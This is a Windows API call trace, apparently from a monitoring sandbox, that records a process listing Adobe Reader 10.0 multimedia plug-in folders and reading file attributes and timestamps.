	[0054.486] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x1251b80c | out: lpFindFileData=0x1251b80c*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0
	[0054.486] FindClose (in: hFindFile=0x7eb938 | out: hFindFile=0x7eb938) returned 1
	[0054.486] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Multimedia\\MPP_HUN\\Flash.HUN" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\multimedia\\mpp_hun\\flash.hun"), fInfoLevelId=0x0, lpFileInformation=0x1283e558 | out: lpFileInformation=0x1283e558*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9b058100, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7d82ddc0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9b058100, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xa00)) returned 1
	[0054.486] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Multimedia\\MPP_HUN\\Mcimpp.HUN" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\multimedia\\mpp_hun\\mcimpp.hun"), fInfoLevelId=0x0, lpFileInformation=0x1283e5a8 | out: lpFileInformation=0x1283e5a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9b058100, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7d82ddc0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9b058100, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x2000)) returned 1
	[0054.486] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Multimedia\\MPP_HUN\\QuickTime.HUN" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\multimedia\\mpp_hun\\quicktime.hun"), fInfoLevelId=0x0, lpFileInformation=0x1283e5f8 | out: lpFileInformation=0x1283e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9b058100, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7d82ddc0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9b058100, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xa00)) returned 1
	[0054.486] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Multimedia\\MPP_HUN\\WindowsMedia.HUN" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\multimedia\\mpp_hun\\windowsmedia.hun"), fInfoLevelId=0x0, lpFileInformation=0x1283e648 | out: lpFileInformation=0x1283e648*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9b058100, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7d82ddc0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9b058100, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xa00)) returned 1
	[0054.486] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Multimedia\\MPP_POL" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\multimedia\\mpp_pol"), fInfoLevelId=0x0, lpFileInformation=0x1283e698 | out: lpFileInformation=0x1283e698*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d82ddc0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x7d82ddc0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x7d82ddc0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1
	[0054.487] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x1251b80c | out: lpFindFileData=0x1251b80c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d82ddc0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x7d82ddc0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x7d82ddc0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0054.487] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x1251b80c | out: lpFindFileData=0x1251b80c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9b058100, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7d82ddc0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9b058100, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xa00, dwReserved0=0x0, dwReserved1=0x0, cFileName="Flash.POL", cAlternateFileName="")) returned 1
	[0054.487] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x1251b80c | out: lpFindFileData=0x1251b80c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9b058100, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7d82ddc0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9b058100, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x2000, dwReserved0=0x0, dwReserved1=0x0, cFileName="Mcimpp.POL", cAlternateFileName="")) returned 1
	[0054.487] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x1251b80c | out: lpFindFileData=0x1251b80c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9b058100, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7d82ddc0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9b058100, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xa00, dwReserved0=0x0, dwReserved1=0x0, cFileName="QuickTime.POL", cAlternateFileName="QUICKT~1.POL")) returned 1
	[0054.487] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x1251b80c | out: lpFindFileData=0x1251b80c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9b058100, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7d82ddc0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9b058100, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xa00, dwReserved0=0x0, dwReserved1=0x0, cFileName="WindowsMedia.POL", cAlternateFileName="WINDOW~1.POL")) returned 1
	[0054.487] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x1251b80c | out: lpFindFileData=0x1251b80c*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0
	[0054.487] FindClose (in: hFindFile=0x7eb938 | out: hFindFile=0x7eb938) returned 1
	[0054.488] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Multimedia\\MPP_POL\\Flash.POL" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\multimedia\\mpp_pol\\flash.pol"), fInfoLevelId=0x0, lpFileInformation=0x1283e828 | out: lpFileInformation=0x1283e828*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9b058100, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7d82ddc0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9b058100, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xa00)) returned 1
	[0054.488] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Multimedia\\MPP_POL\\Mcimpp.POL" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\multimedia\\mpp_pol\\mcimpp.pol"), fInfoLevelId=0x0, lpFileInformation=0x1283e878 | out: lpFileInformation=0x1283e878*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9b058100, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7d82ddc0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9b058100, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x2000)) returned 1
	[0054.488] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Multimedia\\MPP_POL\\QuickTime.POL" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\multimedia\\mpp_pol\\quicktime.pol"), fInfoLevelId=0x0, lpFileInformation=0x1283e8c8 | out: lpFileInformation=0x1283e8c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9b058100, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7d82ddc0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9b058100, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xa00)) returned 1
	[0054.489] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Multimedia\\MPP_POL\\WindowsMedia.POL" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\multimedia\\mpp_pol\\windowsmedia.pol"), fInfoLevelId=0x0, lpFileInformation=0x1283e918 | out: lpFileInformation=0x1283e918*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9b058100, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7d82ddc0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9b058100, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xa00)) returned 1
	[0054.489] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Multimedia\\MPP_RUM" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\multimedia\\mpp_rum"), fInfoLevelId=0x0, lpFileInformation=0x1283e968 | out: lpFileInformation=0x1283e968*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d807c60, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x7d82ddc0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x7d82ddc0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1
	[0054.489] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Multimedia\\MPP_RUM" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\multimedia\\mpp_rum"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0054.489] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Multimedia\\MPP_RUM\\*", lpFindFileData=0x1251b7ec | out: lpFindFileData=0x1251b7ec*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d807c60, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x7d82ddc0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x7d82ddc0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7eb938
	[0054.490] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x1251b80c | out: lpFindFileData=0x1251b80c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d807c60, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x7d82ddc0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x7d82ddc0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0054.490] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x1251b80c | out: lpFindFileData=0x1251b80c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9b058100, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7d807c60, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9b058100, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xa00, dwReserved0=0x0, dwReserved1=0x0, cFileName="Flash.RUM", cAlternateFileName="")) returned 1
	[0054.490] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x1251b80c | out: lpFindFileData=0x1251b80c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9b058100, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7d807c60, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9b058100, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x2000, dwReserved0=0x0, dwReserved1=0x0, cFileName="MCIMPP.RUM", cAlternateFileName="")) returned 1
	[0054.490] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x1251b80c | out: lpFindFileData=0x1251b80c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9b058100, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7d82ddc0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9b058100, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xa00, dwReserved0=0x0, dwReserved1=0x0, cFileName="QuickTime.RUM", cAlternateFileName="QUICKT~1.RUM")) returned 1
	[0054.490] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x1251b80c | out: lpFindFileData=0x1251b80c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9b058100, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7d82ddc0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9b058100, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xa00, dwReserved0=0x0, dwReserved1=0x0, cFileName="WindowsMedia.RUM", cAlternateFileName="WINDOW~1.RUM")) returned 1
	[0054.490] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x1251b80c | out: lpFindFileData=0x1251b80c*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0
	[0054.490] FindClose (in: hFindFile=0x7eb938 | out: hFindFile=0x7eb938) returned 1
	[0054.490] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Multimedia\\MPP_RUM\\Flash.RUM" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\multimedia\\mpp_rum\\flash.rum"), fInfoLevelId=0x0, lpFileInformation=0x1283eaf8 | out: lpFileInformation=0x1283eaf8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9b058100, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7d807c60, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9b058100, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xa00)) returned 1
	[0054.490] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Multimedia\\MPP_RUM\\MCIMPP.RUM" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\multimedia\\mpp_rum\\mcimpp.rum"), fInfoLevelId=0x0, lpFileInformation=0x1283eb48 | out: lpFileInformation=0x1283eb48*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9b058100, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7d807c60, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9b058100, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x2000)) returned 1
	[0054.490] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Multimedia\\MPP_RUM\\QuickTime.RUM" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\multimedia\\mpp_rum\\quicktime.rum"), fInfoLevelId=0x0, lpFileInformation=0x1283eb98 | out: lpFileInformation=0x1283eb98*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9b058100, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7d82ddc0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9b058100, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xa00)) returned 1
	[0054.490] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Multimedia\\MPP_RUM\\WindowsMedia.RUM" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\multimedia\\mpp_rum\\windowsmedia.rum"), fInfoLevelId=0x0, lpFileInformation=0x1283ebe8 | out: lpFileInformation=0x1283ebe8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9b058100, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7d82ddc0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9b058100, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xa00)) returned 1
	[0054.490] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Multimedia\\MPP_RUS" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\multimedia\\mpp_rus"), fInfoLevelId=0x0, lpFileInformation=0x1283ec38 | out: lpFileInformation=0x1283ec38*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d807c60, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x7d807c60, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x7d807c60, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1
	[0054.491] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Multimedia\\MPP_RUS" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\multimedia\\mpp_rus"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0054.491] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Multimedia\\MPP_RUS\\*", lpFindFileData=0x1251b7ec | out: lpFindFileData=0x1251b7ec*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d807c60, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x7d807c60, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x7d807c60, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7eb938
	[0054.491] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x1251b80c | out: lpFindFileData=0x1251b80c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d807c60, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x7d807c60, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x7d807c60, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0054.491] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x1251b80c | out: lpFindFileData=0x1251b80c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9b058100, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7d807c60, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9b058100, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xa00, dwReserved0=0x0, dwReserved1=0x0, cFileName="Flash.RUS", cAlternateFileName="")) returned 1
	[0054.491] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x1251b80c | out: lpFindFileData=0x1251b80c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9b058100, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7d807c60, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9b058100, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x2000, dwReserved0=0x0, dwReserved1=0x0, cFileName="MCIMPP.RUS", cAlternateFileName="")) returned 1
	[0054.491] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x1251b80c | out: lpFindFileData=0x1251b80c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9b058100, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7d807c60, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9b058100, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xa00, dwReserved0=0x0, dwReserved1=0x0, cFileName="QuickTime.RUS", cAlternateFileName="QUICKT~1.RUS")) returned 1
	[0054.491] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x1251b80c | out: lpFindFileData=0x1251b80c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9b058100, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7d807c60, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9b058100, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xa00, dwReserved0=0x0, dwReserved1=0x0, cFileName="WindowsMedia.RUS", cAlternateFileName="WINDOW~1.RUS")) returned 1
	[0054.492] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x1251b80c | out: lpFindFileData=0x1251b80c*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0
	[0054.492] FindClose (in: hFindFile=0x7eb938 | out: hFindFile=0x7eb938) returned 1
	[0054.492] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Multimedia\\MPP_RUS\\Flash.RUS" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\multimedia\\mpp_rus\\flash.rus"), fInfoLevelId=0x0, lpFileInformation=0x1283edc8 | out: lpFileInformation=0x1283edc8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9b058100, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7d807c60, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9b058100, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xa00)) returned 1
	[0054.492] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Multimedia\\MPP_RUS\\MCIMPP.RUS" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\multimedia\\mpp_rus\\mcimpp.rus"), fInfoLevelId=0x0, lpFileInformation=0x1283ee18 | out: lpFileInformation=0x1283ee18*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9b058100, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7d807c60, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9b058100, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x2000)) returned 1
	[0054.492] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Multimedia\\MPP_RUS\\QuickTime.RUS" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\multimedia\\mpp_rus\\quicktime.rus"), fInfoLevelId=0x0, lpFileInformation=0x1283ee68 | out: lpFileInformation=0x1283ee68*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9b058100, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7d807c60, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9b058100, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xa00)) returned 1
